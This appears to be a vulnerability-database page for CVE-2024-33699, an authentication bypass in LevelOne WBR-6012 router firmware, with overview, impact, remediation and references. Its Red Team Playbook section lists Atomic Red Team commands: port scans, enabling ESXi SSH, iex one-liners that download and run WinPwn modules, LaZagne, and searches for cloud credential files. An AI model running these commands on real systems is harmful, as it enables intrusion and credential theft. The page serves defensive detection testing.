CVE-2024-33699
Overview
This vulnerability is an authentication bypass in the web application of the LevelOne WBR-6012 router firmware version R0.40e6. The flaw arises from improper access control validation that allows unauthorized modification of administrative credentials. The affected component is the router's firmware web interface responsible for managing administrator password settings.
Vulnerability Description
The LevelOne WBR-6012 router's web application has a vulnerability in its firmware version R0.40e6, allowing attackers to change the administrator password and gain higher privileges without the current password.
Impact
An attacker with network access to the router's web interface can change the administrator password without knowing the original credentials, effectively gaining full administrative control. This allows unauthorized configuration changes, potentially compromising network security and enabling persistent access. The attack requires low privileges (PR:L) and no user interaction (UI:N), with network-based exploitation (AV:N), leading to complete confidentiality, integrity, and availability compromise as indicated by the CVSS vector.
Solution
According to Talos Intelligence advisory TALOS-2024-1984, users should upgrade the LevelOne WBR-6012 router firmware from version R0.40e6 to the vendor-released patched version addressing this authentication bypass. Detailed patch instructions and firmware downloads are available on the LevelOne support site referenced in the advisory. No interim workarounds have been specified.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the LevelOne WBR-6012 router's web application is a significant security flaw that allows unauthorized users to alter the administrator password without needing the current credentials. This weakness is rooted in the firmware version R0.40e6, where insufficient validation mechanisms enable attackers to bypass authentication controls. By exploiting this flaw, an attacker can gain elevated privileges, effectively taking control of the router's administrative functions. This could lead to unauthorized access to sensitive network configurations, including the ability to redirect traffic, monitor communications, or even launch further attacks against devices connected to the network.
Various attack vectors can be employed to exploit this vulnerability. An attacker could initiate a targeted attack by accessing the router's web interface, which is typically exposed to the internet or local network. By leveraging automated tools or custom scripts, an attacker can send crafted requests that manipulate the router's firmware behavior, allowing them to reset the administrator password. This could be executed remotely, making it particularly dangerous as it does not require physical access to the device. Additionally, if the router is part of a larger network, the attacker could pivot from the compromised router to other devices, increasing the potential impact of the attack.
The real-world implications of this vulnerability are profound, particularly for businesses relying on the LevelOne WBR-6012 router for their networking needs. Unauthorized access to the router can lead to data breaches, as attackers may intercept sensitive information transmitted over the network. Furthermore, the compromised router can serve as a launchpad for further attacks, potentially affecting other systems within the organization. The financial ramifications could be significant, including costs associated with incident response, potential regulatory fines, and damage to reputation. Organizations may also face operational disruptions as they work to remediate the vulnerabilities and restore secure network operations.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating firmware to the latest versions is crucial, as manufacturers often release patches to address known vulnerabilities. Network monitoring tools can help detect unusual activities, such as unauthorized configuration changes or unexpected traffic patterns, which may indicate exploitation attempts. Additionally, employing strong access controls, such as changing default passwords and implementing two-factor authentication for administrative interfaces, can significantly reduce the risk of unauthorized access. Conducting routine security assessments and penetration testing can also help identify and address vulnerabilities before they can be exploited.
In conclusion, the vulnerability in the LevelOne WBR-6012 router represents a serious threat to network security, with the potential for significant business impact. Organizations must prioritize the identification and remediation of such vulnerabilities to protect their assets and maintain the integrity of their networks. By adopting proactive security measures, including regular updates, monitoring, and robust access controls, businesses can mitigate the risks and enhance their overall cybersecurity posture. The evolving landscape of threats necessitates a commitment to continuous improvement in security practices to safeguard against emerging vulnerabilities.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Level1 | Wbr-6012 Firmware | r0.40e6 |
cpe:2.3:o:level1:wbr-6012_firmware:r0.40e6:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
1 eventsSighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-33699 |
| talosintelligence.com |
GitHub CVE
|
https://talosintelligence.com/vulnerability_reports/TALOS-2024-1984 |
| talosintelligence.com |
NVD API
|
https://www.talosintelligence.com/vulnerability_reports/TALOS-2024-1984 |